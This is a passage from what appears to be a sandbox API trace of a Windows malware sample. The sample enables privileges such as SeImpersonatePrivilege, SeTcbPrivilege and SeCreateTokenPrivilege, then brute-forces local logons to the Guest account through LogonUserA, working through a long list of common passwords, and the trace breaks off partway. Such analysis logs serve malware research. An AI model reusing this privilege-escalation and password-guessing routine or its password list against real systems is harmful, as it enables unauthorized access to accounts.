lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x2da490 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aDU0VK IWA5kLS", cchWideChar=-1, lpMultiByteStr=0x2da490, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aDU0VK IWA5kLS", lpUsedDefaultChar=0x0) returned 15 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2da198 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x304750 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x304750, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x3047e0 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x3047e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guest", lpUsedDefaultChar=0x0) returned 6 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2da230 [0057.461] NetApiBufferFree (Buffer=0x310e10) returned 0x0 [0057.461] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x1d, HighPart=0)) returned 1 [0057.462] GetCurrentProcess () returned 0xffffffff [0057.462] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.462] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.462] CloseHandle (hObject=0x2a8) returned 1 [0057.462] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x7, HighPart=0)) returned 1 [0057.462] GetCurrentProcess () returned 0xffffffff [0057.462] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.462] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.462] CloseHandle (hObject=0x2a8) returned 1 [0057.462] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x17, HighPart=0)) returned 1 [0057.462] GetCurrentProcess () returned 0xffffffff [0057.462] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.462] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.462] CloseHandle (hObject=0x2a8) returned 1 [0057.463] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x2, HighPart=0)) returned 1 [0057.463] GetCurrentProcess () returned 0xffffffff [0057.463] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.463] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.463] CloseHandle (hObject=0x2a8) returned 1 [0057.463] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x11, HighPart=0)) returned 1 [0057.463] GetCurrentProcess () returned 0xffffffff [0057.463] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.463] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.463] CloseHandle (hObject=0x2a8) returned 1 [0057.463] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x12, HighPart=0)) returned 1 [0057.464] GetCurrentProcess () returned 0xffffffff [0057.464] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.464] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.464] CloseHandle (hObject=0x2a8) returned 1 [0057.464] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x5, HighPart=0)) returned 1 [0057.464] GetCurrentProcess () returned 0xffffffff [0057.464] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.464] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.464] CloseHandle (hObject=0x2a8) returned 1 [0057.464] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x3, HighPart=0)) returned 1 [0057.464] GetCurrentProcess () returned 0xffffffff [0057.464] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.464] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.465] CloseHandle (hObject=0x2a8) returned 1 [0057.465] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName=0x0, lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x0, HighPart=0)) returned 0 [0057.465] lstrcmpiA (lpString1="aDU0VK IWA5kLS", lpString2="Guest") returned -1 [0057.465] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="Guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.466] lstrlenA (lpString="Guest") returned 5 [0057.466] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x304870 [0057.466] lstrcpyA (in: lpString1=0x304870, lpString2="Guest" | out: lpString1="Guest") returned="Guest" [0057.466] lstrlenA (lpString="Guest") returned 5 [0057.466] LCMapStringA (in: Locale=0x400, dwMapFlags=0x100, lpSrcStr="Guest", cchSrc=5, lpDestStr=0x304870, cchDest=5 | out: lpDestStr="guest") returned 5 [0057.466] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.466] LocalFree (hMem=0x304870) returned 0x0 [0057.466] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123456", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.466] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="password", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.467] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345678", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.467] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.467] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pussy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.467] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.468] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dragon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.468] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwerty", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.468] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="696969", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.469] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mustang", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.469] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="letmein", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.469] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="baseball", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.469] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="master", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.470] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michael", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.470] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="football", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.470] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="shadow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.470] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="monkey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.471] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="abc123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.471] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pass", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.471] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.472] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="6969", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.472] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jordan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.472] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="harley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.472] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ranger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.473] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iwantu", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.473] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jennifer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.473] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hunter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.474] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuck", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.474] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="2000", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.474] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="test", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.474] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="batman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.475] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="trustno1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.475] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thomas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.475] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tigger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.475] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="robert", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.476] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="access", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.476] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="love", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.476] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="buster", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.476] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234567", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.477] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="soccer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.477] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hockey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.477] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="killer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.478] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="george", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.478] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sexy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.478] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="andrew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.479] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="charlie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.479] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="superman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.479] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asshole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.479] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.480] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dallas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.480] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jessica", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.480] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="panties", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.480] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pepper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.481] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.481] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="austin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.481] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="william", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.482] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="daniel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.482] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="golfer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.482] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="summer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.482] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="heather", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.483] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hammer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.483] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="yankees", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.483] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joshua", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.484] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maggie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.484] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="biteme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.484] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="enter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.484] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ashley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.485] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thunder", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.485] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cowboy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.485] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="silver", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.485] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="richard", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.486] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fucker", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.486] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="orange", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.486] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="merlin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.486] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michelle", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.487] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="corvette", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.487] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bigdog", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.487] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cheese", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.488] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matthew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.488] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="121212", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.488] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="patrick", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.488] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="martin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.489] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="freedom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.489] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ginger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.489] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blowjob", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.489] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nicole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.490] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sparky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.490] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="yellow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.490] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="camaro", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.491] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="secret", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.491] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dick", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.491] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="falcon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.491] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="taylor", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.492] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="111111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: 